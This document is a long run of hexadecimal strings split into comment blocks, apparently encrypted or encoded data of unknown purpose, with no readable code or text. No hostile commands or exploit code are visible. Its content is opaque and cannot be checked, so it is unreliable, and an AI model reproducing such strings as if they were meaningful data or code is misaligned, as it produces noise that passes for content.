22f6d5a1b69eb6abf8e8bed0b8d31825628a7691146b17ad44b0b06fe058d1f0067449f2c50a0714ea383743d99109262e60ec949b8ae94988975478d087ada8675ec474099778351966fad697ed87acd4c91bc6eec37cf3964a8a34d6e786d63d2cba9efcfcf8272e842c3db3e8ba76dcefe6783a07b551ca4ba5ab57b12ccf1d9fe61b12816f29749c9bb862041e5c91dceedc261f0473b745b3d0bfcd775540163ebf50460c564b9a0b8d648c7edd2c64e1bad150930b4eddb39aeced7767de728256e27c1ccc794d823e1d92174ec74c3697d672342e75272ba3cc592a60067d6c39567f29561c72d29850b52f6c567d0c79fcde85ed9c985dd32f7af1c87d458b07f9798225a93d84073d01553f9fb97d72f57806dff1921c40520d62a27c7e4d1c77d82465d5374d3d47507d76e56ff8cd32a89dda5c7711fc9bcd72e1f2bd38a79aff8f627975fd431eae035d2d509409e8a7c356350c3d62c59fc7f4fb0b28d82b9613473b092a8d5e5a3c29b2092d78837a1ceb41aae19d1f7d3c465a1ee4e670504120c6a63235acdf087502253fbee7ab10519ad8bc18a6cd97a1c1cf773eb71e355737e3d2051fe9fab49a991c969a77b32e05edf750296dd8a116e2227daa70de421b5e649badf9cd4ca51850b1f38bd7daaa1976cc0f9cb9a4ffb16c1db25284973124c1c32dd164d4b8410d2677c544557b8bea8be8883baece3046c5d7c6a0bd76fd307ad4ff50e14db5eca8cf2f65517b8f2fc7ffb41ed96c51d5ef5bd18e1e8f0ff38de7b44d3e84d119fe94a98b291b4ac146f2972a0eff308d823e2297b2876e6fb3cd4b2131245aacbf27bdd3f6073f4e8361d06b726174bca69f41143e36181d2d7a12bc2deb6a9343412209dc7e592ee6bef6af522c7c8be1efaa5ce6451835a66aa9d41fb2bfbf7054d243d4a94281ef6f57fde5617517d66e407462eda96be7d4a8389a7e8b277fa64892a15d69d580f8da150fc85ca565acd7e8a055cb5724b317b5f6e109204a08ce8beecc3529b21d92638196ce515f512c2983ed38a50af9531b9f8d49fa831ece017a023f307bc901a72e12915fee6c583c98fc486174033fa8a9c7b682c025d4deb127c00013f0d20049ad26fec6f8b57a0397968facd7e22cc0dc9920e10b52fe856e2a957fbcafa614f57d5275909cb4aef3e3cd2cd46f75f1c26ae3ba86e9028dcd3988437b43e6fffe04199d70d1271beffcf8898d95903f84614dc6819c1654ab21d5a70d6a6ff85997aafb2a0830651c94b51eb5d86a11ab35bdd300089e3a462dbed2dbd64a9e342b8*/
/*4bb1e4bdcef6f1150a872184cb68388c72bd617d702846e624745bb834518ce66859eb0ac21c13f2d473cc03f672ef6cbcaffc92edde78b794d7da9b0e3f668cf5735a3efbcf01f47dae96f3582ca8ee8f10dffc16457c07ea61930aa3c47bff110ce94fad144fdbc51d241aa5711591e4483907cf0880c2c9ebbd8fb053ed07e73ad5bc227d7eaa7c2cb220cf6cc494c9bd2d90fae7fcf091d2de6dc25e58e9d7e2da4640b2d809a599901397dddfe1e2cbf34a4b34071ba064cdcff013010553e950252abe0c6b24405c01e570ff8057ccb34d589947c3575c93100c47af7166625ce10b38c534b05dcfb189409e8e79921b1fe1ae00c6dce9be058b2cc0ceab8eb48ae2d8c77afb3347ac00f6957d55748a063b79eb48f2abfb1f1b2dd297c49cd8fdbbb7266a5d04bc56cc11672f5304c30163209f5a9480673e7a7ea451ed3c6a1401b4ad4ce124793fcd824eb7756961876a2e0e67cab3b69d6630a371b35d4c3eb4d574ef3087ce773e7732ee566fd94fd2c18aaf51143e680f3c049c365e29b3a77868040374c2d26510a64306ec6a239a898d3e2d4562571abdf8d37a47558ee16df93e6b93cfd320020ad090648d6b3bf93bae6cc8a04fb931f09d54a97258022a36d6dd51ca561128889639e8fa145cff6e5b9d36077567b0664d31b73fcb4f82a00bc23556c63ca79f6cab7934723b575eb61bc0fb6755f7b07e46eaa9dddd0094dc5359aebfd34bc91e8da95a8a07c3ad4b68b2580b26bc7c9d2bcda9bc61aba300fb2e56ef254f0f17dd207bfa5da13879b5e8fd0aee2755bbbeef38f3d066ea2a82ed50c200f955f6c8e87fa8ecfce847fba77c7546129a80615eadb3a26d5a8b32be3a6729afb70b0ea2ab553623af86979f64c6830131e00bfc66cdc06b85f59d28fa90b6373578c21e35cd373ec417063f713c2c9e4d592896132f21279dcabea63188ca2c061d6a948097e13bd670edc6d31afeb0e282f3cfc1ec9c0f65d86f2ea745e1f5c46f84a806ba86bedd290dda535cac8796950394faf2f5d0eaf9b031df98ec63b4a2b4856693b31ff62e1288681604e1cef927b6a0acc2e0159ef3e5d36431e150cc21db87d941618eb2da1ae42386a93fc4f58d7bbc1b3f1c9fd08bf504e3815326c5bb7ee9142aa5319f7c0f07122e744f590f5d8e91e8a0c81a112b1a1d41d446e16fc1ef60f07868a97f68ad83eaa51ec65c7288b1e01203bd06283966f3e5bdb807474010588946992344200fbc17bed6d2e7bcb9a8e991dcde635405ead86c935321835080b10dc6f783e0c64b0a82aa5540e0e7fca37518b91a469953c88fa714a2a7947f4b56c94150fc65f04e65e6c5c0b9d68c1a0f79a729621873e46451e531148f8b4f9423a12df564d0e97862a858a4db120001fd62515f6da3f2691b784faac86bd021b7edb27ce6fbd91388f7d947bd82d56a6ff43bb9073783ad32378f8047e7f110e8d574256dd5ccafe583c39d8db76564705572f0213811ebcccd4491b1512ad25ec8c3d45ea25ca0863c108bdd81a3596acb6f92082a3f703617d942335a811bf3001b664143afb256973f4dbc427d7a2571c42b2d58d7370c3ae0b12ba1e71afd2e92db3a2a6ddea4ff7cf8a9a86b40c9a6abbb57723e7e350908eb7039be4c4b500682c18627df688e3469f5a5314f370cd6f64c380be053d14b5600957dc9cabc2bfd8b5ee0ba69f6789a5f55a6acdab5660c100b5ae8afc8d496b40efd6e01a99ed8ea234810e0ad4e7e76105f92e4add15a26e08357eafa2932ea47779cf16693e1ed94223aab63a69fc7996e899f38ea8a80871a05cb4a217b515205540c448696c2be83b7fc27c84e76bc3edda66e877af8ad2d8b3e38a6632e76032220819c801aca00cb690b0a8abc84dc4bf3781c4ce932498f801e75108195bbdfd41e4305e4e35920be5dc9bc26b0b260a9915913ab4ec0f86c8ef99cbfd66db683412b28209b037751baba9bddbea6f7896518ca0db1444f4c760270b79c13339ce60e7e715a641d2afa8ac1047ed7281c3afbca68eb2136480d4fef537639a849d82dcbf8917c2c4f39e653eb5b23219df1a20bb44d7cd54067c2fff0f67066007c91cab69e76deb31dd66b9d7f875067214872ece1bf4c76b531cb3fb981e7cdee9491dbb2afc4ed4062f5f45d3d1d1d8a07a461b529fe6657be00f8c7bc9c2fdb42f45a8dd871a41d47b0e5b343acb709ab1ae3f03f64fed8bebc32d60326a16788ec23b3de981055d783e135feb7048c2b97d7ddf5a9ebe65d49530e0aa2f597ebc88467a2a29b5ee6a69dde78eaf7e801e5559be2d78603381d7ad6436cc17c6b6fffb207451fa1dacee004281b454e12b9042d98dac08a09750c0a74f37c76d4ae8ee074eb936d8157574d7a499171292cb84490e660abf8b74836fc6c0e64e7236310321b2d3a56b2e6df3e7bf269f11c294663b6e2dbc4b7db8d6204c1b059d12f185efe7ae26ba474e877c355d5322f7036a25238d998b649eb4db5db2398f079bd8a6a35c9f38736118b8ac740452fb5851c20412cc43695fa3c3451d13a18a20224c75669c47678cdf7a14d9d68a8d94c208386705a6a85954d56978204d64fed67d127c8b8fe040c5a6b378b5475b9920c354bf4427e84a7a49bfa7580cbaa721d0db81f5623ce87da6a9fe214b3dacd7f9cf8636d86e5dbaa32359ed0d93b0e91e390ea2d1759378c17ba058e8acb6e883f4c1fb46a2f477319b74f8b5eca384e26a1c281f7628e9aeabb135ecae25145070844415e94caa2156f529912dc0089da8cd96594269b23b17924433a3c8ede4f*/
/*c497ab3d7d452a0aa912339f46e2db024f0c13200cd66289f854c3a540a80800c110d16ece0f63018ca0705c574ac37b98dfc2e954670e97d59f374aa97cf693dab15d352e92fba698651a0c7ae814102436e9b08d7946600930f12e8061b1ce2e6015ffef944c399aba352464684d62d7e0e609d47c5aa134ed46908fb51f1c3b2d54c421bcf26d279c098ae8385ec6e082bc45afca9d3e21f5b7e4ed3ab316729a6a95557350d50c3e692d9d4bcf37335b2fa75e4c60446ab9a991483a894518688d0837ec807676c9943eb6489eb47c67d6a522609f382ea15b120cf07718c0bef26edfa95338c17d142917be6e06dbafc8aca65fe6c7bc5f1fb06878413ea6723135b4c23e408bc63abd7d6999f59abadfb3b6b450542d04e9ec1118f9541dcd10a191f634a58ec654cd8c0c1dc477ae6fd8665b0e06aad3c8133914eb016c3e76e3da3e8df7bec12471eaff02a0108188368d801a328a45c250dcebe86fed9981f32d3da6b9249b608e058f01aab08d1d1513d71fcdbbb47467f94d7df0b950082bab5fa5335d49e441ea80653ac328bec2b2903b39d04bf8f501d7ff0e53c850b2b209d6b015eabf433eb7bd611c6d9b186d225a5ae74e8c9426f2c1a84be99b8678c82bf3dd52f7d29ae633d25af3423c7dc02cbc4111b5d188437fb4ad04758d1da7a6af7f914c3ea7fb524ff8be435373b2eef33cc3125dbe7fb7755210c5063ae05b2979ae9261afbcb25fbb9ef575a335a78a510d6e2369dd1fd6dee573c4aa481edb4cb933665c8c94e5cb182f2d8855797864f81a78fbe076c7ec0e33e86aa0f6f92d8f18f774505c583ebeb74c8786ec7e551bb177dcc144c59e6abb9efff84e896c782c4ac4ad4de0736c70451c35893b5e16c8d7e62daa849e9f85e1f5e1fd61f1441a43cf27bcb19f18484c8083d5c92e76b6af1ed237dd0277ad3ec3dc1ed5edd6c11e6fc3b7bda8c87383ac6518f0d793fd6d28ae77f9c5a68bbf57b7f3dc2b1fc77cabba6b908d42675876689490c757220082613bd5a71714d69b0b3235e6d54a614d36469d7da4015906f7a1718c4ae05b5060fd7d62510895beb2bbb13763e4f19de142c49acfc7a04c09ed0c194b4dad0fb240c1f6ab936f1088448a991fc6c67013b15caf128ce89d690416d182c98932a634aec40f6b4468c386183a81a635f84e95b59b1488c71afb9095d2ddd9de281f8369aba74573aac35c3db311ed89fe9cc10963c0ff423dfcb482cd029a99196fd296a9defb6802988fa9dccb529b6a410efdc619fac868c93e5b79f0a5ad28cf6ba9d334a96c79752ee9ea6e10008a21c1492b4f0cd1e8be6537bac2b79fce624927e8329a89b138db2dede93d54f906c33af4b576f8deb1278ccc7f32920c9071b361ac1176e1af82925a5bac2389a1cbd0898f4b16c434d86003da941da6f62e12e575285886bee7d06887ae28e260ebac22bd2229107c1337b5824208b711ea9c374181fa26ef5b33cdd2c32a7e9ee135a66405dc30d716eceeb038669a460fce1a819625859d7b471c70b0e83125bfd2241ccc215b586d71e184c973b4792e8f53ab9221d2d4e109faa00e40703a56f28785684817ad817b116dc33654409f2b0518ee12a4ff45ad25738faceb2a1113cd7d96bbb2f023503ca4b4ad23fc6e01f09f7830908fc45cad51f8c496aa522523913507e8b705a827fb750a1e9eed56e82d0a6347f7a4048b05779a12accdd7dacb6b7a3a413a7b733ae3666fadd378ac56d5caaca2561575f60fb353cf042e5099be1927afc8162c5447d9dbf3e17d62d05344c1bd3a6980c8199ec6cf512473e3e832531086d1c1f3f684982215791f87e26845e28209684d3666a2182e181a9d4d7a4b73c6fe55c70aa9c363cfb3ffb93d3552894a9f5a5a4eeda9aa7463a8cba7981010916db8fb437242d24bb2b8fd0aa61b683e243560ee29120ace6cacca64133628185b76f53968b7f2395f2fe12f7fe165d29f8bcdbb63b058ca06cbe13645293730ae9b707c69f5166335f92fb7bcdc25d780a43f07a2915f8f99294bd66ad44dbfd00f97107c891e0018c31a56ebe7e39cbf154b4bbda48a00fc4c7810bb5d986a2857faddf767cda2342a99de679589f514ccff32ffd02ff35e81b6d12ea27fb16a4a27bc763a31e0582c01c5514f78e1f9947f670e75e9925a3fd8fcae24406b5637b5c29d1b684cbb96a89acbb4d838917cf90470278f4aac37d592fe8e24e308b8d5b3e37c425088d10ece5cbc47bb829b6d5b8fdd40887811060d5e8f0e80aef6a98dbd0ee4e9084e4bce474c53a7f1bac4070561f0f74447a5d652326855d15021359d3ec79dd6cd18e7e816c435ddadf5605bd04f1c8d54cad250e12d0220e9d9e15053533ee11f4471b803ade0392a8f32de9af966520e68f266ba35f7139c312f494d02dacd524ad1d0bbbcdb0f6df2017ad188552c20074b73fa47825b80c5c47291d5014543599c6b77d9cecb1a6368c5916e6620e4d83c31ea4e4e6eb8e2bc3b163c139e0509d361fc4e8759d3018e5efb91109b8ca4d912388624afa6072bdf0f3838f16afb4d36abff51332e24c7775f7e97c0df9f1ab5233515c5d415abcdb184ff25f2c71a439ea2eab92e002b8061e2beb59ad24d1146a3606f0723a1c7150033c758814ebee183410c2f2489dd30ce964db07e52a4f8c95fba3228f006c73708216e26804739045fd00d853775f0d37e81a29e30220f2d4c4774caf6ff6df6b5c433aa5abcda415f909c898d81f62bd4ddee25813f6129ce21c683e5dcc9dbe68912dce120a5947f4aeb6bbd5788a87a21*/
/*3ec70f00d043bcfa98fc599ecf68563276f41f15e95d829d92deca0aa20664f3d7d03dbf63db4dbe0d94cf83c60145c3c048f014faa07da14fb792c426aa30fa3cab7c7fd635b0a646a6b7ec887e64beb06388d558bdb1eea897dc01a652c90215d943f6cacdc3bae5d98bdc6e8d710b47e9f65d7a4931c5b19f9953ea76b29796ba6c48322cb362063d1083d8c76857a7729c5e55478ff3d16f40309b86429ddba76bed1ee05f84ba9ed72da6f4da35ead0c6686eb0b1879eb2e889c6329ece2936e647244ef7159640f39ebcdaca7bc0419564e997c0ec02069d106babdc47d0938d803abfc6d01b15514c138c18a59d9281ff0cb1269e4a6d72dee8a6c3267fa73a63a6e85fee398cd70a6abf8d1dd27a7fa3e8e7572ae179a2d1dd5f934bf049a3b39a5a5d3362fc9f4ea653c9a7dacabc568dbbefd437be57ce1c7abf37c83e6a6241039bed4f3b8d06ee8187c5efd6b495fb41486b8e618eda5e12b3aabfcf5a85673c4a5d15734bf40557377875bfff01492e2fe7422855fa977f93e9379dadbf55dd45d77a5c6e7d28c2585eb6b1b427df0cba52a3dfc838c85b4a506fa4ff7d88885ed1cab6ac38c8cfd61561e937e9e49c14eedfbc44c5f9281eec18ef4eb0ab04594f68ff0fc7e4aad2fb52aa5657bf7caf6513d2a9bed3fd319b95bff048750d5ae00af8deb2721844b635443cefaf76ff8790865e6f9cd9edede3f770fe7db13ca9f72ec804d804bbdd1089c908cd14b37605dc0203015e5f82586c10403582ed5b5b7e2eb0121cda4a1a60a0e3ce84deb54b0eda35c1a5b9186cb8b8cc4d261fc3d5dbeffea138c89515ff5c032ab82d6b62c74a5b591824839d0bbbe3250f9ee59c383419b7679b3568932effe4bdfe23d7df6add1831c2e3c3c57c16a9c5f1c0ed6fb75dbf9c930b4821d4cc672dd5c57075e5c3d7b8a2bef9cc49157f3dbb843bd07256d7900d4a2c458d3a5582b2eecfda5aa4c439b9cef0651f875026f3f3e84ec73019b43248a9d2f635d504e63f8c2a1c22ce2958ebf919783aa42c5de9e5ebd5f3434995feea5fc5ae532861d1e24098f78630880268e23d014228734a59a3b4d6096d76c9a11c7f50365922550ded4b1ece74d27c6077011fae44cd85dde0c4f8094912138cb15dec38a589f998367546eb8e256ce2494832cd99ca099bd1c2d1ee79efae9c03cd65ce189d6c6ab47d2a4d6c0f0d2b6f5158f70b1c90e4281b190bc6f1c0c28516487b6e507e061ea680813731e00f97b77cfa4bfa450c0d16f61c3efa73097866a5cbdba62d3a935121ec88aea5de198ea56bdf16ef739dd19df6268d1ae33d35925ca67a6ed57a21542ac796fbcecfe98dbfa702c754bc8bf2db7230ed416815ab5516cb3d98193708e34ff1fa06853df05d302f1da3eb38259077ef363d214c032ac9946fcad312f754d84e6f0eb88c869abf4de5e9a8ebf452ef4feb68821ca209a2c77d3a00fe4d8d51ff72026c9080ef3ba59ed4fac74f74d2cbe418b1a31974733594f5d97f3a32fb93463f38ea22ea205e4308bc093d89ecb2bed5451fd2ceb160720bb4f65f3d8f17084a38d08d1b96034d04e6f42fbefe299abfee1103ab64dad6034dc9d06b16831c9833d79bd1e75f07dd92b51d8169a98da687f205a5e40afe7da528b2170de099c456d760e5491107d0467a742a558d542ba5f1b5f3f8cf53f4e27fed6082d8ddb4149391df1b90ec9959c2bfcc0df3c177406f2e8916b82ca6c4866f100d267a1d6d7e62505586ca93d086cfe4c782480e493d4d2e9393d6642198901c06ab362c3a7d480d80e84ca9ff54f5a97b6f900efc2f71bbd618aa688637fb53514ba5f98c1f503625acf8187b24386741cf5c4cc7058213430f0f1ceb382c051ce8cc93924bb246c6ed0796d07c0c7e8074b9fe260dbca12e62b58d489bc2a0986246138883c1b7c826e6778e78ad052411362529d38eccdb77722916fbf61ee36426d30f2985b93ee13943c9555140751b1a60f1c0545c53b35ab8d15fedf2d0f7f887915576f3956daee6d0606dcc59cd6ce6aa1ac93f33338f997d1de9d7acf978c3f0fb1e6d47e689b5fc00aae0ea3d5833ad2f88cb67f5253bd47a5ed99fa87dd662fbcc53439eb64b2fee518940e595c9b7af7cee57ab0e25f740d691bc0e21df69182753a039b0191619134c2879836e095246074a551399406f14d33fb8605471fbfc929cbd1abda586eee5366e4fe8e4477b799f7f8eea790e237cb429f60f4118a0c9d9321714839bc580049a60bd3b41c07b037c82169fc7963f703d1804829346c25a31564b7d598eb961391b4b66e0cbe7030a920032ef7f058b357c367f95b4d10b28e91161471d839ee76c7203cc2aa1a6b47c3b4e75552892daec4e82b28560dcb94608c36e98b28b69b7d149a288d997f12635cfa06102bce03192e43a62fa29ebc37b38417e5333e144f587ceb06ade394463f41da95a2bc716fe6bd62e0ccd0012983424843eab025cf7423f34afcec2f7d3514b75f430903d7a5e8cd4730120e706b0a6670f8c8c6e9500d6e86a15e8305201815df087d9fc9e678008216f14989be3e253e27e497395d10d4b67dc339a174220b5af4abc4f1c623238655ec06cf02f87b1ab4bfabac278384d3992c3725ecc3e8a74d10981ff525178ae9254399944bd9d98c8ac620f7cf0d28e1a5d9617fc33b5cba698e049e88b481ec9e01bc59887cbd8ccd132b52aa4d51b4599573342057379385e641effc82e23c7af4ac9c61a15be8ce56c6d91082e2a9c2aaa43807bfdeeb083014555ecf823e0ee268086fd98edd1b519*/
/*d350d8a5dd6a9343b7a3dea28bcc7de50e5075e164d4dab2050d1495a723ca0c1092ff0b3775db7adbd90419f37985ace688a1369b76a884e6bf919e01c2e463c9be43643502a5749f9815bc0d8948758580e80f1f0b1b589a6720d6da1655cfb22af9ffaadbc8c7729d1ca8fc7ef3068e8b353315f58c6384f8d6b123db5b339854f4a9e7e3e37883d772caeec95cd6855579cb6b004ba03a9c01383167906a820585e289f1a3d6bedec3b7ec0b43c4ac1a7733946729c61e00dab721d955fa2d6406a5ad8e58186534a4bf7914bb39dbd7f5549be815d32bc26900460c802d1893481b25c6207e825ef165d76c6cba134b6ccd7aa60ecafbd4361c66fa5f702d5c2073ea0ff91d741294620099cddbbcabc0a27e36cb2aac45abe49f5728da26963a0dc82e88d54e06fd281ccd0b7f8548771a086679bb37d6de12f20756fd20f70734aabc915397a5b9d3ec6b298532d88fa748ce5d45db8b10598853c74dc4ed588d483fe653e362a4411fe618c4a0810d951e10d13109a613dd63c57d9c885bdbac78d5baed4ab2dbfeea48196b95ce52c24622a760e268d42a8b1599aa335f3106355e22190bdc0fdcf20a6b6d7d85e22e6df9499f7e6024732d47f0daddd2f380110dc76194c6b4e25e18e088c097f912598d98dc49c2795f2056f18073716df5f654b6ee3ad6e87b0f61b8459f7eacd982d9e3646aa003c46532f74d6053fbaf7466b736aa24c386dd08c34140ce2ccd8286057b8b85b8bb314f170be64dc1c322ab027cbed6a948148a105b42db2bb75b54bccbda4a73f60d6e4913728e1e45affbb8159919b33b2971cd345a52b86262e8dd53ea2d0b5bc98fa3b9a4d45de699cce4eb0f8949dc417e8cba113fe78945c52f65e975226398449defa468f4021ba62a5b18e753f9cd1fc0b6df096fe0b11cd4b18e32fdd31a11736f5cb840a13440224c1a1e63c396c8d75257666d4ac4e31b47e5891356a0cd72f52e00e714e3f2a93b7eb4ee5bdd00a017f96ebe6a04ad0394a7b04b70c91ccff833adc1f2d19f0d5fba8027d2de367f15e14e6be1e368098a3f6d7923317e1d8b582a5042f238aaa77cec9ef46bb73b0ece0f6f0a5a35b180297f6a1fa2a85e58a8334b7d31911154bffeef267773a3de8a77c064540d39b68269f03f2aa3e603ac7a10d3b3ae32cfd3e7d0429d5a0f527f4474683486d3a905f645ab373a3ae6fb389b2eeafd9f7a20d7d2a1a41b7d80320b0db1cf77bd12da330eb84175a687a98707246914fe0aa2c27055798bd49dc662be3ecca4cd10a6ed1a08571fe0b0f3dad68c7e61fba1946af677d4a82229227265235a1009badced7c53a25f2c6219c9e50dd2ac8262275e6ae5a18b9280f3c7609fb4a3d840ee605e4d0e3d7dc4c258956476c108bd34cf3e485827529ab00888f8cd17ffbb3025000e1e4211f8745af96a30c54cac3432865d39195b7bbac4f01fbb447b0cd05ce16f0fa554978e57521813a86be26d099c2c1c07aee2e9744a01202cf491a9b0c55da2b2399ee22e43f89f604324f7e05c873e9a3f18a05187f9cec9119c30654da45314810542dd5f9018fa7b06503abd5c27e0df69da30e7787f2cd6139d811d538d30f9e7fb68c205efd78cfa51eb8fb597a8eacaf217b8f5dddc76bab4a0c02d498afeefe87fed7cc0c1f6d986872b6ae415c2ae434db985209b7f167cf99dcd5af9871d3b105d79e71ace10d28cea645f1b8da3b411f1d275379eb9cacd4ba104e627219019ddfd7959e55a8d3c8b4df513549e3f83bb3b340eeb6574486ce909d993fca59b83ee37a6ec0620db68f12a1c44aa9a638723ee724b3ce525882129164f6035f4837dcd3f6556e59ebe640b861cc9ab471fb49672ec41ed0b5588de929ed2122270cefebfe067f3cfdd26ad306a41f3da968a7513d1e575dd55cc2ca3fac3070347bca6b24e99fcedeb300c88a1654a6033fe41b9fc63d64b35306a656c4a20e1cbf740a3b742759acf1669014349ee9d71586815215fb78496363411eeabd634b665d5c0d60c8bed797ed8e272958cdf0e426ce487c2f9be1bb2bf9b5a37efe9155af3c2843b02c38c0ebfb463aecd9898accd2a8cc3c56b11196226a6cc49ffbc06de8d4c412aca409181b6414ffbd2c7f859f685837307fc0213ed21555057f5563f91ef4deecc379d154319871aee422ae52c32ce38126dfad41469cc1c8d8e139dc2182187e5cd3692bfc66ee30603350b5106267e2745c73feaae3c3986ee4d23473b029c06ac3634dda6a0f89c9d643eba554ee9136303002c3c25c18b2357b96e430254e5ed933db5da6233b8e001c785b9f4a4d860b3f26e560eb8ddbd44c31b0416fc945bb0c5fa634f79880448f877b686808e5fcc83f44e7f4836efcf6b387bedddd9e5907db8cd95ba52bfc7f7156902856d7026f545e6c110571c686fd10e5de46d04480ba024de6fce3c2c645eaf9c7ffa452c57add7e8e0ca053721650f84dcabb0009089f034cf0e4b65f9e681dd29137b2681663297dddd4824527b1974b8255d22773036359bc1cbe8cb33b2e733e6df2d6e6f2e24db1fa54a61ade56c018fe1bc7940f110c60b6d63eb5f3139b12394752cd71f84c5ada1c101a99178fffc2280e7ed4118d4da4bad478698e0a3635f82c0e43dbe29e20fd894403139b83539267ba001b3c84664c9aa551159b69519077d45b80cf985955cf64af9c3b442aea1ccdd33d06184a363cec389b7cfa0da74e3b2e287efabf4500184053b16eec8d1d278a56efea386b6c3c125d96d207be8daff2ef2360d54e5579a1f5b8496a7e0ec98f64d*/
/*f7a0796c05b366d7ce3c267ff9dba6fa6a25dbdd112465f4439817e1defa3a412e420bfc2f43f10555503a7d72ef526e0fa169667e39d48723a97466217c15a0a972efb339ac879ac686d8f1f7a65974de51e05bafb79218f6aac776df4662a3f656fae6a02dae3a4a8caa63016f4e5796fd908c035e6303174ec2f35dfec23891b7c7b2a6ed62f5f995f9ad3ce2fd0c070eb971208e13d8db359418193b1b9d64db95a0cdcf2323c5c08b83b80fae459428cdfe399b5bd370a18ee116ec15755b555bffc884157a442ff55f8b61e3de4c4119e0164667ba30ef46acb7723b02f364711da5cd84347a7c1c6cdcb015bcc3053bf6fec752470096181342d6375e12e3717407c23381aa581bec1736a0850dd7d19cc27b8db4cdf5a885902ba808d1e6fc43e47e857f6ac09cf644d10588593ebb6f9b798a182e51ec8210553809eff41e7f8135ac9a785604803826454fce43c103d75a3581e19c8e3cae54368fc09e300da404a8e076bd07b7494001839a870b1d25627484e999b97dfa5b4f84aa4e7ada79df808bb5eab33b89a13a3a235d7ec319462513af122dec293e9c6eadba2fec58da11414abf2c3b10f492897e74289ca7402995272c6fce7f2d6d6dada6263510601f10d4ed130d89eb2b27a9f73273b07fb5196ba7bc3b70ae73cc49072a4cc98ba0554db0b8a943decf4b2bc092d9b7703481c6cf46f44d70d87117cfc08b8499c8f7d20a987e336d2217518f18418ce8c82a04f87333befea2b6e4bffb9fc54eab8e661b1421ea671e1038b38844b781d6457a110b1d47d164b5a6d46e6cbd08018e022dea71cd2abbddd2392671841386cb8bfaa25be4993a130f486766f6ef0e2a847b15cb2db23e13b56ff2baa878d8af9f87eee9b8d7bd9e240cb53cd143d2b6ac91eaaaf284a33887180fb2f605e148e7876f65e6d6432c9ce78a865c97194463b994e20184dfc032303c24d9c6c901483baf9d46629fedb0b345b7c0b6bd255ed01d90bd954f17012c8532225b794bb37eabd2a399275c44d47087a522340e405fa76817918ee2ab6fe950ce279c3629984e3fdc9741eae3ba0e82ffc3962526a8140717fb4e89c9b9e7868a6afbf5e4a6bb8f3ca720d9e18da78546cb2eb62c633cd7046a521b27fccfb4c0f8860b1dd87c834b2d0846e0ab8a127733ce01ebc5e3ee8e22d5d2b4800624936c86046171e55d3675da9a0ae8de0e32697adde3cb094168e956d53cc96bce3e151fe02f5d3e6a5405a1025ace9dc78daf3f029c6077f5d36b76db1c09c570fa1558fc7780abe9134f97970bcd8e41a4e4f0bf0c2840e4ebdab1415b5cc9276c5f0358c9a0cf793fc9ea94ffcd8d9669156fe12a37ddd5c43914155f9e53eb21d843e36801f6ac5d7abbb9ef8092b9005ee34db5d8df795abadebde2730124f2dd9c4946741b071a537512a40bb828a954c0e4e664dc35a0dbc3fd9bd16e23a1d8aa39d92f94823156474533b4957f72a1c7a3abba06cd7cca3d5b44ca1fc50d8003269c3bd64b2ae8c03df6e4d1900033eec18bc52700779bd98d9941404965ad5c1917ddc09a6fba7690012d44396a4b0b6206d3cd47228a3a10ce0ce7e0eef8ba2c225d97119ff14c4fae275ec214f61a1d983a2fd7336ea735d2ac232a2b8bf6cd670a8659250b3750cbb8d4548671315cbc6151f232e8e195874f52843e4bf1a318decdf62cab4a98b98e93d276d3bcfa83053e2f7623db29372290f8b3ecb0c43b963e4adf83956dbb47a3d7e136921ce9af5625dcb58c14119032be7a02e5ded7dfcee1240688098b0a0d5757d17bf2f1f195231a29af6a8da2e976e006b7690831ec35c1716af9b1150d0dbda6c8cfd15362a4daf9143d4b048714f33396c7ac3785966afc5398ece80a3e3e34364d11606eb2ab9bbb90952a8ada590a036974d66f4f3ab53f0788a95cf14147d3a2e7c6aadd7c52e0102c908d1bcc2d69cb8c5ff8e9311c8bdc24e50cb2405ad3938b424eac51f5b8c7bf5cfb1f2e15466a4c42703799e221e0325a536cc3c02cbeacb41759fef4bda6e568d30d8eb894bbba450ea5ac050abef750efb51cb306f0b89c338f5f04471e345f1acef3dc6cc1f511b75066b323ac84cb6f20ac07dc68ee64d2530f3de82bd5e21567e481befcd897a0a7a17a7dbed9830910b6ac753966f777583cef7040586550c0b5183f2ae7d5772ee9e5ebec09135709e94037655f707e826822d65bfb6067e322563c981f6824fb39b637546c09780259581824752d76468c53e3004bf6551ff598c72f8bc6a7c2cf699cedb05c143d5836561f60ca4d95b826ef3f411abe7273dc4bc7607eba6a9c05407f741ed931ebee8ca888f57d8bdd137593d4a0fddb63a161a48de470875f17167ec206c1da8bcefe5e0f5d55db2f25e7baba943b58df9abaaed69e2c0e81512dda53143965fd1a9cac6f4d10577adc189dd1d8d26eb92bea7190ce936866f5896f7d68631ba9d44b1194f414209b7a7a4faf2e978e8793ce88b657120fdcb98a599c9867ff9dfca101c89589b5cb60b20ad2fa87be556ee322c845aff5bfa2a468234e962ef6313d8e6123076b359c0106922d3b777c1f23d68bae74a768f807340bcaf96f26ac841c6b8102d203b9b7e9a0fcaca123321ec6a1ae4927e9e88bdf51dce5237ba33a13aa1ab4bd702789136a8fe095dc714fcbfc6de8dd2a916a7fa3141b1e76faf465748d596adf754d0a012ed3ea6a1814f117d3ab5e4db7b3b427eac0621ba68a6b989b53fb3e0011b0a8192099345fdab427e5db608f53eb846cdfb5fd1585b7d01e6927e09508ef06*/
/*8cdb0a12233519fabf96bd7514f6c5497b239398cb3b200e5adecf3fde0303238b8365503a77f343719e3d9eb2515d128b0971811c21ea59499bd43a9dc6f1308fc4824bd93a9e695416861d08b316f13d9f2b30f7f75132b1b3cddb5537289d8e02402464164a1958764328bade7bdb2facbac8eb4b568f2b64562f6b093f81d9ce9da1dd5947eb9ff83646fd8fd1743ed3f6b30ac8fb8ddcc0f6e19cbba693524423d3975d666ac21c2a1f6c3b540b2113df94fac8f74eca497d2aa1f82011c82749f376c7e3888aee72253dd9dfe6d7f60bb6bac055107cb5ed90e80093a36e122788b86ea58b07568e342ce17ab853083980499079edd0523726f06d80affc390d88d76d2b6b60d235fe0356a18dfa338c72f9f43216850ff0448446f142bd2346f2d079be9435c81d54752f9325089934da4c06a0d015feefcfe2225f5fd5c1ccd383d0dbae149b0d960c56397f791b55305795357c649eb09a7db49cc5e2bfcde2e5b5137c14333ea3d4ee87da89fc23fd7329cc3eca19195d3bf322bece37e11e1418c687d8f7574b4cb2f2fa5367a306ce95b075b6339bf89b70f219dbd2311e43e913df6c602a56f8514c02883ab5176df7bf29fb271e14675c801cc17360ddcb9f8b9bdc98ea98b05be176e4404c1506d9d33bd980631e0f45781a61989a98da81d33e495d704a613c7500af030ac387b9df9212cc4186b7345908d3082fb980c2ad72b1d6cc65fae7c5d6a911f00ab6080691